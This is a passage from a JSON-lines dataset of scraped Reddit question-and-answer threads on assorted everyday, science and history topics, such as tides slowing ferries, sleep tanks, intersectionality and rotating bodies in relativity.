counting/feeling \u201c1-2-3-4\u201d count \u201c1 and 2 and 3 and 4 and \u201c. If the tempo is slow we can subdivide further by counting \u201c1 e and a 2 e and a 3 e and a 4 e and a\u201d or \u201c1 and a 2 and a 3 and a 4 and a\u201d depending on the feel of the music.  ", "What i dont understand is why when everybody feels that the tempo is too fast they dont try to slow the clap.", "I published a paper on this!\n\n [Nature Scientific Reports: Groups clapping in unison undergo size-dependent error-induced frequency increase](_URL_0_)   \n\nBased on single-person experiments and mathematical modeling, an individual tendency to rush is ruled out. Instead, we found that individuals respond more strongly to people who clap before them versus to those who clap after them, so this asymmetry leads to people gradually increasing their frequency. This individual interaction mechanism drives an overall increase in frequency.\n\nIn fact, there\u2019s a strong, unsurprising correlation with group size whereby larger groups speed up more readily. Additionally, we found that a musically trained audience did not have a statistically significant increase in frequency!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/YhMiuzyU1ag"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.nature.com/articles/s41598-017-18539-9"]]}
{"q_id": "9a3ggd", "title": "why would \u201cthe tide\u201d speed up or slow down a ships journey?", "selftext": "I am currently on a large ~300 vehicle ferry on a 1.5 hour journey from Vancouver Island in BC Canada to the mainland BC. The captain came over the loud speaker just now to say that we are underway trying to make up time from a late departure but that the tide is against us and not helping us to make it to Vancouver on time. How would the tide have a meaningful impact on the speed/efficiency of the ship through our passage to Vancouver? \nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9a3ggd/eli5_why_would_the_tide_speed_up_or_slow_down_a/", "answers": {"a_id": ["e4sgzub", "e4sj9fq", "e4sjydk", "e4sl8mq", "e4sq80u", "e4ssndt", "e4ssp0f"], "score": [5, 3, 7, 2, 2, 2, 2], "text": ["Drop an item on the shore, you'll notice the waves or tide push it to the shore. \n\nSame thing but in open ocean. There are usually various currents in the ocean that can affect you if you need to travel up them. ", "It can depend on geography of the region. In fjords the tide comes in and create a (visible) current as the tide rises up the fjord, then again creates a current when the tide goes out.  Sometimes the tide starts coming in while the water is still coming out of the fjord, this creates a tidal bore (standing waves).  You can see that in places like bay of Fundy and Turnagain in Alaska", "On an open beach, it appears as if the tide just goes in and out.  \n\nBut in channels, between islands, the tide can create considerable current one way or the other.\n\nThe captain is not full of shit.  Tides ares very real phenomena that he'd be an idiot not to take into consideration.", "The tide is in effect a current and if you're going against it (especially in a channel) it will slow you down just like trying to go upstream on a river.", "It's not correct to say tide, he should have said current. As the tide goes up and down, a large amount of water between Vancouver Island and the mainland needs to flow to and from the ocean. This creates very strong currents in the narrow channels in the Gulf and San Juan Islands.\n\nIf you look at the chart, today currents were up to 4.4 knots. _URL_0_\n\nA Spirit Class ferry cruises as 19.5 knots, so the ferry can lose / gain up to about 20% of it's speed due to current.", "Tide is water rushing to your location, making sea-level raise. The ship tries to sail against the flow of water, making it slower.\n\nTo see a similar effect, try to fly a paper plane down wind and upwind. Downwind will get pretty far, but upwind might even turn back. Luckily, the ship have engines that propel it stronger that the tide, but it still have some effect.", "A tide in the ocean is something like a current that reverses direction every few hours.\n\nWhen the tide is going \"in\" [approaching high tide] the ocean is pushing itself up to shore.  When the tide is going out, the ocean is running out from the shore, dragging everything with it--in this case, the ferry.\n\nAnother analogy is wind. A bird or airplane flying against the wind has to put out a lot more energy than one flying with the wind. Running, biking, and driving a car can also be impacted by wind. A boat in a current is no different."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.tides.gc.ca/eng/data/table/2018/curr_ref/3000"], [], []]}
{"q_id": "2x2vv5", "title": "the top post on reddit", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x2vv5/eli5_the_top_post_on_reddit/", "answers": {"a_id": ["cowfang", "cowfrpq", "cowgen6", "cowgpka"], "score": [9, 2, 2, 3], "text": ["Everybody upvoted to see the hit marker and just didn't take it off", "Reading that thread made me feel like I was in 8th grade again.  ", "What's the hit marker, I don't get this either?", "/r/montageparodies has a lot of CSS customization. Go to the subreddit and upvote something. You'll get a hitmarker that pops up for a bit.\n\nEveryone just wanted to see it in action and upvoted.\n\nThe hitmarker is your basic dank for parodying gaming montages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "455tln", "title": "why can you eat cold cooked chicken from the fridge but if i want to re-heat it then it has to be \"piping hot\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/455tln/eli5_why_can_you_eat_cold_cooked_chicken_from_the/", "answers": {"a_id": ["czveljc"], "score": [2], "text": ["Reheating it until \"piping hot\" kills any bacteria that formed after the food was cooked the first time, and any bacteria forming while you are heating up the food. Basically, bacteria like warm food - not hot, not cold.\n\nSo when you cook chicken, if you have leftovers, you should immediately refrigerate them - you don't want warm or room temperature chicken sitting about. And when you take it out if the fridge later, and reheat it, you need to make sure it's *hot* - if you only warmed it a bit that would be the perfect breeding ground for bacteria."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aou1qk", "title": "why do so many cars with automatic transmission have a rev count display? what is the purpose of it in non m a nual cars?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aou1qk/eli5_why_do_so_many_cars_with_automatic/", "answers": {"a_id": ["eg3iyw7", "eg3j59t", "eg3jc1q", "eg3jye3", "eg3rh0w", "eg40n2q", "eg4uh5d"], "score": [3, 2, 5, 2, 2, 5, 5], "text": ["I\u2019ll look at it before turning my key to confirm the car isn\u2019t already on. \n\nI also check it when I\u2019m sliding in snow to get an idea of whether my car is going to jump once I hit bare pavement again. ", "It comes in very handy when you limit the gear your car is in. ", "Gas mileage is why I use it. Sometimes cars won't shift up if it thinks you are going to need power, releasing the gas for a second will usually kick it into higher gear. Also, keep them rpms as low as possible for better mileage. \n\nEdit - Yep. Wrong direction. You know what I mean.", "Most, if not all automatic gearboxes can be used \u201cmanually\u201d e.g. switch gears by drivers wish exactly. Therefore knowing revs is as useful as by manual transmission.", "Price. Most of the cars are sold with Manual gearbox and changing HUD, putting there something else would cost more money. \n\nBut displays are coming even to lower clases as a replacement and there is up to you, how does it look like. ", "Quite simply it's actually a very useful metric to have.\n\nIt's a measurement of how hard your engine is working, and has meaning far beyond 'time to shift'.", "Honestly, tachometers have nothing to do with the type of transmission installed in the car.  It's a measure of how fast the engine is turning, which (as someone else said) is useful information about the engine.  The tachometer is there in the instrument panel whether the car has an automatic transmission or a manual one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5rhw59", "title": "what happens in our brain when we argue with ourselves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rhw59/eli5_what_happens_in_our_brain_when_we_argue_with/", "answers": {"a_id": ["dd7em6v"], "score": [11], "text": ["Our minds aren't monolithic, they aren't a single, unified thing. It seems like our minds are composed of several modules, only one of them being the thing that thinks \"I am here reading this explanation right now\". So when we argue with ourselves, modules with different motivations (survival, pleasure, morality) act more or less at the same time, competing for the attention of the control module."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "not44", "title": "maid marian is described as the \"ward of king richard\" what does this mean?", "selftext": "Im in the stage adaption of Robin Hood, and my part is Maid Marian. It described her as the ward of king richard, and later it says that she needs his permission to marry.. What exactly does this mean? Does he own her or something? Just explain it like I'm five.. (x", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/not44/maid_marian_is_described_as_the_ward_of_king/", "answers": {"a_id": ["c3argff", "c3arq98", "c3atv7p", "c3argff", "c3arq98", "c3atv7p"], "score": [3, 12, 3, 3, 12, 3], "text": ["It basically means that for all intents and purposes King Richard is Maid Marian's father.\nThat's the simplest explanation I can concoct.", "It means that when she goes on a field trip, King Richard can sign where it says \"Parent or Guardian\".", "The king is essentially her adopted father.", "It basically means that for all intents and purposes King Richard is Maid Marian's father.\nThat's the simplest explanation I can concoct.", "It means that when she goes on a field trip, King Richard can sign where it says \"Parent or Guardian\".", "The king is essentially her adopted father."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "43lbun", "title": ".. how can h & r block afford to give away 1000$ everyday for a year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43lbun/eli5_how_can_hr_block_afford_to_give_away_1000/", "answers": {"a_id": ["czj14at"], "score": [5], "text": ["H & R Block is valued at [over 8 billion dollars](_URL_0_). $365,000 is basically nothing on that scale. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.marketwatch.com/investing/stock/hrb"]]}
{"q_id": "4gkkrx", "title": "What is the effect of length (Lorentz) contraction on the outer surface of a rotating sphere?", "selftext": "Assuming the surface's linear velocity is a significant fraction of c and is composed of one connected material at rest. What would be observed from different frames? A similar question could be asked of a 2D disk as well.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4gkkrx/what_is_the_effect_of_length_lorentz_contraction/", "answers": {"a_id": ["d2ifw91", "d2igf2y"], "score": [34, 17], "text": ["The question of what happens to rigid bodies that rotate at relativistic velocities is called the [Ehrenfest paradox](_URL_0_). Essentially because of length contraction on the outside, you can fit more rulers around it and so the circumference of the sphere is more than 2 pi r (a non-Euclidean geometry)", "First, you have to understand that a rotating reference frame does not fit specifically into the theory of special relativity.  That doesn't mean that Lorentz Contraction doesn't exist there, but rather that it fits into the theory of General Relativity, which is going to involve the warping of space.\n\nNow start with the rigid disc.  One can use a meter stick to measure the radius and circumference.  If the disc is rotating at a substantial fraction of the speed of light, measurements of the radius will *not* be length contracted because they do not face in the direction of motion.  However measurements of the circumference (for an outside observer) will show length contraction.  The result is that C will *not* equal 2\\*pi\\*r anymore.\n\nWhat this means is that the rotating disc will appear to curve the space the disc exists in- space will not be flat anymore.  In curved spaces, angles of triangles do not add up to 180 degrees and normal euclidean formulas do not hold.\n\nThe same argument holds for a sphere, but it will curve space in one higher dimension, and in different amounts depending on the velocity of each point on the sphere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Ehrenfest_paradox"], []]}
{"q_id": "4ba9sv", "title": "Does the \"Four Pests\" campaign effect China today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ba9sv/does_the_four_pests_campaign_effect_china_today/", "answers": {"a_id": ["d1am0zv"], "score": [2], "text": ["Absolutely not. The program was brought about with the Great Leap Forward between 1958-1962. As we know, the Great Leap Forward was a huge policy disaster which caused a big famine with death estimates from 18 million (at the lowest estimate) to 43 million (at the highest estimate). Just as a comment, when people talk about Mao Zedong as a \"Mass Killer\" worst than the likes of Hitler and Stalin, those deaths that are tallied are because of the deaths from famine from the Great Leap Forward and not because millions and millions were put through death camps. Anyways, the \"Four Pests\" policy was one of the items that created the conditions for the famine because one of the four pests were sparrows.  They wanted to kill sparrows because they were eating grain which by party policy should go towards the people of China.  Problem is, sparrows also eat all the bugs and locusts that eat crops. Thus after killing a great deal of sparrows, locusts became an unmanageable problem that created less crop yields.  The killing of sparrows was not the biggest reason for the famine but did largely contribute to the problem enough that the policy towards killing sparrows was lifted in 1960 but too late stop the major damage.  \n\nJudith Rae Sharpio in her book \"Mao's War Against Nature: Politics and the Environment in Revolutionary China\" talks about the policy making a reappearance temporarily in Chongqing and Beijing in the form of propaganda posters replacing the sparrow with the cockroach.  The program fizzled out because there was no use in the propaganda, people in China were already fond of killing rats, flies, mosquitoes and cockroaches.\n\nNow if your question is: were there any long-term effects that the \"Four Pests\" campaign had on China?  I don't know how to answer that properly because I imagine you would want to know what the environmental costs are and that would require an environmental scientist's or historian's opinion.  The effects on the culture can be lumped in with the Great Leap Forward's effects which segued in the Cultural Revolution which I would argue had way more cultural ramifications than the Great Leap Forward."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ao9ael", "title": "how do \u201csleep tanks\u201d work?", "selftext": "So recently, an article came out that the [New England Patriots have sleep tanks](_URL_0_) at Gilette stadium which can simulate 4-5 hours of sleep in just 45 minutes.\n\nHow does this work? Does our body truly act like it received 4-5 hours or is it all mental?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ao9ael/eli5_how_do_sleep_tanks_work/", "answers": {"a_id": ["efz5sbi", "efz7o57", "efzee1o", "efzmc4y", "efzoq6u", "efzr4hl", "eg01a1u"], "score": [398, 61, 2, 30, 8, 52, 7], "text": ["Welcome to the 70s... again. Deprivation tanks are basically just soundproof, light proof bathtubs filled with body temperature water and a shit ton of Epsom salts. The water gets super dense, meaning even a bodybuilder would float like no body's business. With no light, no sound, and super heavy water at the same temp as you, you basically feel like you are floating in the middle of nothing. It's really conducive to meditation and relaxation. Some people hallucinate, some fall asleep, some feel like they are in an altered state. It doesn't REALLY replace a lot of sleep, that's a biological process that takes the same time no matter what. It is just very relaxing. Well.... for som e people. Some people really can't take it.", "It's less that you get 5 hours of sleep in 45 minutes and more that the sleep quality is improved because the tank is meant to create the perfect environment for sleep and meditation. People normally don't get perfect sleep between the physical and mental ailments or bad sleep habits they may have. Sleep apnea can nullify literally like 8 hours of your sleep making you feel sleep deprived no matter what you do for example. ", "They also make big welts on their bodies with suction cups even though they don\u2019t do anything. ", "Most things athletes use to enhance their performance don\u2019t have measurable benefits that would fall outside of the margin of error in a scientific study. A great deal of it is really placebo effect. Some of it actually works, but the benefit is astonishingly small.\n\nBut remember, these are ELITE athletes. For someone who is a layperson, that tiny advantage won\u2019t make us appreciably better. But with, say 100 elite athletes who are all at the top of their professions, the smallest advantage can have a marked effect on their performance. Even if it doesn\u2019t have an actual benefit, the placebo effect can still make a major mental difference, and a mental edge can be every bit as effective as a physical one.\n\nThe Freakonomics podcast has done a series on sports and their most recent was on this mental game.\n\nAthletes and teams will spend millions chasing a 1% edge. But often times they\u2019ll ignore the data telling them what they should do, even if it gives them a bigger edge, because they don\u2019t want athletes or coaches second guessing themselves ... confidence is such a big factor.", "It\u2019s a placebo effect. At best it might provide a psychological benefit in a similar way meditation works for some people. It can not speed up the biological processes that occur while sleeping especially not a full nights worth in 45 min.", "I don't know, these things worked wonders for goku on so many occasions, but they took at least 15-20 episodes so I think 45 minutes is a bit of an exaggeration", "I can help answer this. I worked at a major blue blood  college football program athletic training department and have looked into the research behind it and have given a presentation on it. Basically it doesn\u2019t really give you 5 hours of sleep in 45 minutes. But what it does do is make that 45 minutes of sleep a perfect 45 minutes of sleep. When you sleep on a bed, no matter how firm/soft/expensive it is. Your muscles are always working to maintain posture and fight gravity. With the sleep tank, you are completely suspended in the water, so all those small postural muscles can relax. Also, since there is almost no sensory input, there is nothing to pull you out of deep sleep like a car driving by your house or sunlight peaking through your blinds. Sleep is incredibly important to athletic performance, mental function and physical rest/recovery "]}, "title_urls": [], "selftext_urls": ["https://www.si.com/nfl/2019/02/01/patriots-sleep-float-tanks-bill-belichick-josh-mcdaniels-tom-brady"], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "9tbb6a", "title": "what is \"intersectionality\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tbb6a/eli5_what_is_intersectionality/", "answers": {"a_id": ["e8uxs7y", "e8uywwq", "e8v5ohx", "e8v7ho3", "e8v7noa", "e8vabtk", "e8vafd4", "e8vay27", "e8vcg2s", "e8vcuny", "e8vj57x", "e8vk38a"], "score": [273, 925, 6, 22258, 7, 80, 17, 63, 14, 3, 1974, 46], "text": ["It's the concept that we have to look at and consider the intersections of different demographics. For instance, women have a hard time in Western Society. Black people have a hard time in Western Society. But specifically thinking about how Black Women have problems that other women, and other black people don't. Intersectionality is the idea that we have to consider that people often belong to multiple groups, and that their experiences are different than those who aren't such. ", "Kimberle Crenshaw coined the term, though the concept had been thrown around a lot before her by people like Audre Lorde or by the combahee river collective. The idea is that bigotry and oppression manifest in different ways depending on our identity.\n\nThings like racism and sexism exist, but popular narratives frame them usually in only certain ways. Crenshaw noted that while women weren\u2019t allowed suffrage until 1920, there were other laws preventing citizenship for women of other races from voting. Not only that, the suffrage movement discounted the voices of black women and their inclusion for the sake of the success of their movement. In that sense, sexism manifested differently between white women and other women.\n\nAnother example Crenshaw uses is domestic abuse. We like to think shelters from abuse are easily accessible, but factors like immigration status can curtail that access. Immigrant women might not leave abusers due to fear of being deported. And language barriers might not even prevent immigrants from getting information on where they can find a shelter, but shelters sometimes turn women away due to not having bilingual resources.\n\nUltimately, intersectionality is simply recognizing that oppression and bigotry doesn\u2019t always manifest in a singular manner, and we need to account for that. Black women don\u2019t experience sexism in the same way that white women do, and they don\u2019t experience racism in the same way that black men do. Acting intersectionally involves taking into account a spectrum identities on an issue and listening to people we hear from less to move beyond the simpler, more popular narratives.", "Intersectionality refers to the ways that separate types of oppression intersect to create oppressions that can be understood through that combination. Like, if you add oil and water, you get a bunch of oil, and a bunch of water. They don't mix. They sit, inert, in their container.  But if you add, say, Mentos and soda, you get a big foaming explosion. Feel free to use any chemical reaction here in this example that you like. The key here is that to fully understand what's going on, it's not enough to treat the components separately. You could also think of it as a Venn diagram, with one circle being one kind of group, say men, and another circle being another group, say black people. The intersection is black men. To talk about the types of oppression they experience, it's not enough to talk about what black people experience, or what men experience. There are elements that are unique to black men and that should be taken into account.", "Imagine a factory in the 1960's.  They say they don't discriminate against women, because they have front office staff who are women.\n\nThey say they don't discriminate against black people, because they hire some black people in the factory floor.\n\nThe problem is that they only hire men for the factory floor, and they only hire whites in the office.  If your identity is both black and a woman (the intersection of the two), then the company will never hire you.\n\n & #x200B;\n\nThe discrimination you, as a unique individual, face is the result of the intersection of all the aspects of your identity.  This was was not widely thought about in historical social justice movements, because feminism was concerned about women and racial justice organizations were concerned about racial minorities, etc.", "A lot of groups are marginalized for different reasons and at different levels. The more groups in which you belong, the more marginalized you can be. The \"intersection\" is where sexism, homophobia, racism, etc. meet and the aggression intensifies. It's important for those of us who only belong to one group have perspective about the negative experiences we have comparatively. \n\nThe microaggressions I experience as a white woman are small compared to the outright aggression that affects minority women. It doesn't invalidate my experience, but I can't claim to understand what they experience. And, while I'm fighting against the issues I experience, I need to fight with them as well. \n\nI may be oversimplifying the concept, but this is how I understand.\n\n", "Miriam Dobson created a [comic](_URL_0_) that shows visually what intersectionality is about (original not available). \n\nLet's say that you have people who are shapes with a pattern (like stripes or polka dots) on them.  Some shapes are treated badly, and some patterns are also treated badly, but in different ways. \n\nFor example, let's say that triangles are seen as being worse than squares and circles - they have to go to the end of the line, they sometimes get beat up by squares and circles, and it's seen as okay.  So some triangles get together to try to change society to be less bad for them.  \n\nAt the same time, there are shapes with stripes and polka dots who are told they are ugly, and solid colors are rude to them all the time.  They're not allowed to go to some places because they are seen as making the place ugly with their weird stripey- and dottiness.  So the striped and polka dotted shapes form a movement to change the laws so they can go where they want. \n\nNow you have a triangle who is also striped.  The triangle tries to join the \"Triangle Support League,\" but many triangles there give them the stinkeye because the ugly stripes don't belong there.  \n\nSo the stripey triangle tries to go join the \"Patterns are Beautiful Too!\" group, but is told that they have to go to the end of the line, and is threatened with getting beaten up by the squares and circles there.  \n\nThe stripey triangle shares something with each group, but because of the other type of oppression aren't able to fully participate or be treated with respect.  Without intersectionality, this triangle would be told to cover up their ugly stripes so they could fit in better at the Triangle gathering, or that they just need to accept the rules for triangles at the Patterned gathering and be treated poorly. \n\nIntersectionality is the idea that because of the intersection of several features, we can't just focus on one type of feature, like shape or pattern, and ignore the other.  We have to recognize that sometimes those features interact with each other to make special challenges that need to be talked about. Having multiple features can make it hard for someone to be accepted by any one group if that group still treats another feature badly, thinking that it doesn't matter to them.  \n\n  ", "If you\u2019d like a very short explanation, it\u2019s the idea that multiple supposed oppressed people\u2019s characteristics \u201cstack\u201d.\n\nIn order to understand the concepts you have to make a few assumptions so I\u2019ll explain those as simply as possible.\n\n1. Everyone of a minority status and women are actively and institutionally oppressed on multiple levels in the modern day United States and European countries (this also theoretically applies to every country but never is talked about by anyone usually espousing these beliefs). This typically excludes minorities that do well, socioeconomically, like Asians and Jews, however.\n\n2. People\u2019s oppression \u201cstacks\u201d. So a black man is oppressed but not a lot, a white woman is better off but still oppressed, a gay black woman is oppressed significantly, but isn\u2019t the worst off.\n\nThere are multiple other connecting beliefs and assumptions but these are the ones important.\n\nIntersectionality is the concept that people are oppressed on multiple characteristics, and therefore all the oppressed groups should come together to fight against general \u201coppression\u201d by the oppressors. No one group points to an oppressive policy or person, they join together to fight the supposed oppressive majority, which according to intersectionality are whites, males, straights, and sometimes religious.\n\nThis is how you end up with strange characters like strong anti-semites like Linda Sarsour leading a woman\u2019s march, because she is Muslim and a woman, or that woman\u2019s march speaker who violently sodomized a gay man speaking in a position of influence.\n\nIn short, small groups get together as one big group to fight other big groups, like \u201cthe Police\u201d, or \u201cWhite privilege\u201d, or \u201cPatriarchy\u201d.", "I\u2019ll try this - People don\u2019t fit in only one category at a time. They fit in several. We\u2019re not just white. We\u2019re also women. And Asian. And rural. And low-earners. And, and, and. \n\nDepending on how those categories interact, you can look a lot like the other Asian people or not at all like them. You could look like other rural people one way, and completely unlike them in another. \n\nThis is relevant when we talk about equality for this-or-that group, marketing to this-or-that group, programs or laws to right a wrong directed at this or that group. Black people might have a certain shared experience with prejudice but black people who are gay women and high earners might have a very different experience. So when we talk about justice, equality, oppression, reform, and reconciliation, and all the laws, systems, cultural norms that enact those things, we have to see the whole system and the whole person.", "Intersectionality is the examination of how race, class, and gender all interact with one another as they relate to the term \"privilege\". As an example, if you are a man, you may be viewed as an individual with a certain status. However, if you are also a person of color and gay, some of that status is removed due to the way we view the categories of color and sexuality. That's probably really oversimplifying it, but that's the general gist. ", "Simplest way to explain the is.... My identity intersects my gender, race, ethnicity, and age. It intersects based on our cultural expectations and practices, meaning obviously I identify as gender and that intersects with my race which is mexican american and then I belong to the older generation of millennials.  When discussing my gender its almost impossible to disassociate my race due to our cultural ideologies, you can intersect these concepts and the theory is called intersectionality. ", "There are ways that society could change, to be more fair to **black people.**\n\nThere are ways that society could change, to be more fair to **women.**\n\nThere are ways that society could change, to be more fair to **gay people.**\n\n*However.*\n\nMany of these ways would not make society fair to **black gay women**.\n\nThe problems that you can have on account of being *both P and Q* are not just the sum of the problems that people have by being *P* plus the problems that people have by being *Q*. There can be separate *P and Q* problems. And even if we solved all the *P* problems and, separately, solved all the *Q* problems, that doesn't actually mean that we solved all the *P and Q* problems.\n", "The belief that some groups are more \"oppressed\" than others, and that the groups that are the most \"oppressed\" are to be placed higher in the hierarchy and to benefit more socially/economically. \n\nBasically what people fail to understand is that in America you are an individual, where you can't be thrown into a \"group\" because of say the color of your skin or where you were born. And since our society is freer than most, people often confuse \"systemic oppression\" with the burdens of living in a free society. Like say the gender wage gap, there is a gender wage gap, but not because of systemic male oppression, but because of choices and how the free market operates, women are more likely to enter fields that are more people oriented while males are more thing oriented, the STEM fields are in high market demand currently and is mostly occupied by men, while nurses are mostly occupied by women. Just because there is a disparity doesn't mean it's systemic oppression, see people have choices in this country. And the jump by some to make that claim are just ignorant.\n\nExample: in Scandinavia they tried to make their nations more egalitarian and in their efforts the results showed that differences between men and women didn't shrink but got bigger, this is directly contrast to what the social constructionists thought and they are wrong.\n\nIntersectionality is directly contrast to individualism and seeks to establish group identity above all else. This is a recipe for disaster as we've seen countless times in the past. \n\nIf you are a sane minded person you should think that if we want to solve the issue of people's oppression (whether it be internal or external) the answer is to classify people as individuals and give them the EQUALITY OF OPPORTUNITY not equality of outcome (which is what intersectionality espouses) to be rid of said oppression again whether internal or external \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://anotherangrywoman.com/2013/04/24/this-is-the-bestest-briefing-on-intersectionality-ever-with-added-description/"], [], [], [], [], [], []]}
{"q_id": "hd9fc", "title": "What is \"reality\"? How much do we really \"see\", and how limited are we by our senses to the true nature of the universe", "selftext": "It seems that what we experience as reality is only a product of how our brains interpret the information received by our sensory devices. But this interpretation of information can vary from person to person, be affected by disorders or chemicals, and in some aspects the information received is limited. Is technology and math the only way to know true reality? And what is reality anyway?\n\nEdit: Thanks for the replies and I understand how you may think I'm meandering into philosophy. (I happen to think philosophy is pretty much unnecessary now, but that's only my opinion) Let me try to clarify, or perhaps just make my question more confusing for you :)\n\nI guess what I was really trying to get at is if there is a genuine 'standard' as to what reality is in a scientific sense. If in trying to understand what is 'real', how nature really works, do scientists always consider the limitations of our senses and processing abilities. Is our perception of the world around us generally dismissed and replaced by other methods due to the limitations of our brain and senses and their potential to distort what may actually be going on. I guess what I am ultimately trying to ask is if scientists consider the human perception of the universe as an accurate way to ultimately understand what is true about it, or is our perception generally understood to be flawed, and therefore replaced by other, more accurate methods of understanding. How distorted, if it really is at all, is human perception of the natural world. Is this something that is investigated and taken in to consideration when trying to understand the true nature of reality?\n\nI understand this inquiry may be a bit 'out there', I just often wonder about how accurately, or inaccurately we perceive the universe\n\n**Edit2**: I wanted to post this comment as it he seemed to best understand my question.\n\n\n**MauganRa** \n*I know that at first glance AmericanMustache's comment seems pretty philosophical, but I think there is a scientific element to it. Do we have any scientific tests to ensure that what we detect is the \"complete picture\" of what is around us? For instance, we can only see a limited range of the spectrum of EMR, and detect only a small group of mechanical vibrations as \"sound\", but there is a lot more there than that.*\n\n\n**Edit3**: It seems I was not notified of a lot of your replies, which I apologize for not getting back to.\n\n**Edit4**: This is a conversation with Richard Feynman that helped me question how we see reality.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hd9fc/what_is_reality_how_much_do_we_really_see_and_how/", "answers": {"a_id": ["c1ui0ab", "c1ui0v7", "c1ui6pr", "c1uib4b", "c1uilc3", "c1uima1", "c1uj67l", "c1um0rf"], "score": [5, 10, 4, 7, 6, 2, 7, 2], "text": ["What do you mean by \"true reality\"? A reality that exists independently from our observation and interpretation? Why should there be such a thing? And how should we be able to make statements about such imperceptible system?", "**Warning.** You are standing *dangerously close* to a perilous cliff, off of which many a would-be philosopher-king has tumbled to an ignominious death. Take about four steps back *immediately.*\n\nThe short and direct answer to your question is that none of that could possibly matter less, and thinking about it is a complete waste of time.\n\nThat sensation you're feeling right now, that slight feeling of disorientation like a sort of dizziness? It's not deep philosophical profundity. It's just the mind's natural response to near-toxic levels of vapidness.\n\nThat's not an insult. Learning to distinguish the vapid from the profound is one of the hardest things young scientists struggle with, and a skill that the typical non-scientist has never had need to master. But rest assured, you're not on untrodden ground. The world is full of people who, at seventeen, had a thought that shook them to the core, then at twenty-seven looked back and realized it had just been silly.", "This is more philosophy then science.", "I highly suggest you meander to your local college and take Intro to Philosophy.  Like many things, it is not easy to figure out philosophy, but what you ask here has been thought about ad nauseum for centuries.", "There's something called the [Brain in a vat](_URL_0_) idea, which asks something akin to \"how do I know I'm not in the matrix? How do I know that this is real?\"\n\nYou can't -- but do note that unlike dreams, what we believe we perceive as real never has any inconsistencies or violations of nature. As far as anyone can be concerned, this world might as well be the real one, just like the Big Bang might as well have been the start of the universe -- you just can't go \"past\" these concepts. The fact that where we are has consistent, fundamental laws that are never broken makes it real. By comparison, a dream or a thought would not be real. It can't be observed, it can't be tested, and it doesn't exist.\n\nHuman perception is, of course, somewhat subjective. But we have built machines far more precise and objective than we, and it is with these machines that we can probe the universe without fear of sensory distortion.\n\nEven if there is some sort of reality beyond our access, it may as well not exist. Science concerns itself with the perceivable, with that which can affect us. Something that cannot affect us because it is orthogonal to our existence can be defined not to be real.", "Some questions lie within the bounds of philosophy/critical theory, whether we want them to or not.\n\nThere has actually been a lot of work done by philosophers on issues directly related to the scientific disciplines and how we are able to objectively know things. You should read this Wikipedia article on [Epistemology](_URL_0_), a major branch of philosophy completely dedicated to the question of how we are able to objectively know things.\n\nIf you don't have the patience to do any work on this and want to skip ahead to the answer, it's this: *there is no such thing as unintermediated knowledge*. \n\nTo have even a modest appreciation for what that really means, though, you would need to do a lot of reading/studying. You need a good survey of the first 2500 years or so worth of philosophy so that you can be ready to get your mind blow by the work that's been done in the last 50 years.\n\nedit: typo", "I know that at first glance AmericanMustache's comment seems pretty philosophical, but I think there is a scientific element to it.  Do we have any scientific tests to ensure that what we detect is the \"complete picture\" of what is around us?  For instance, we can only see a limited range of the spectrum of EMR, and detect only a small group of mechanical vibrations as \"sound\", but there is a lot more there than that.", "This is a very scientific question and not one to be disregarded. Neuroscientists have known for a while that the world we perceive around us is very subjective. A great example is vision. The input to our thalamus and from there to visual cortex from the retina is very poor - imagine it something like seeing through a really dirty window. The brain, when receiving this information, has to elaborate on it and form a clearer picture, and it does so by throwing in elements based on experience. For example, if you see a tree's bark from a distance, the texture you see is not at all its actual texture but one made up by our brain. \n\nAnother classic example is the \"rubber hand\" experiment. Researchers put a rubber hand under your sleeve, while your real hand is under the table. If they tickle it, poke it or threaten to hurt it, you actually feel the tickling or pain sensation, even though you know it's not your real hand. This means that your brain relies heavily on sensory information to deduce what is happening in the world, in this case vision overpowering proprioception (your sense of where your limbs are) even if the information is wrong. A similar thing goes for pain. Many of us have cut themselves without realizing it for minutes or even hours. Yet we only feel pain if we look at the cut or think about it. The wound didn't decide to become more painful, your brain is just freaking out about what it sees and produces the subjective experience of pain.\n\nAll in all, our version of reality is just what our sensory organs feed our brain and how the brain interprets them. From a neuroscience perspective, it is clear that reality as we experience it is extremely subjective. I cannot talk of other approaches to subjectivity, such as quantum physics, because I know next to nothing about it and to my understanding these phenomena or mostly limited to the atomic and subatomic scale. 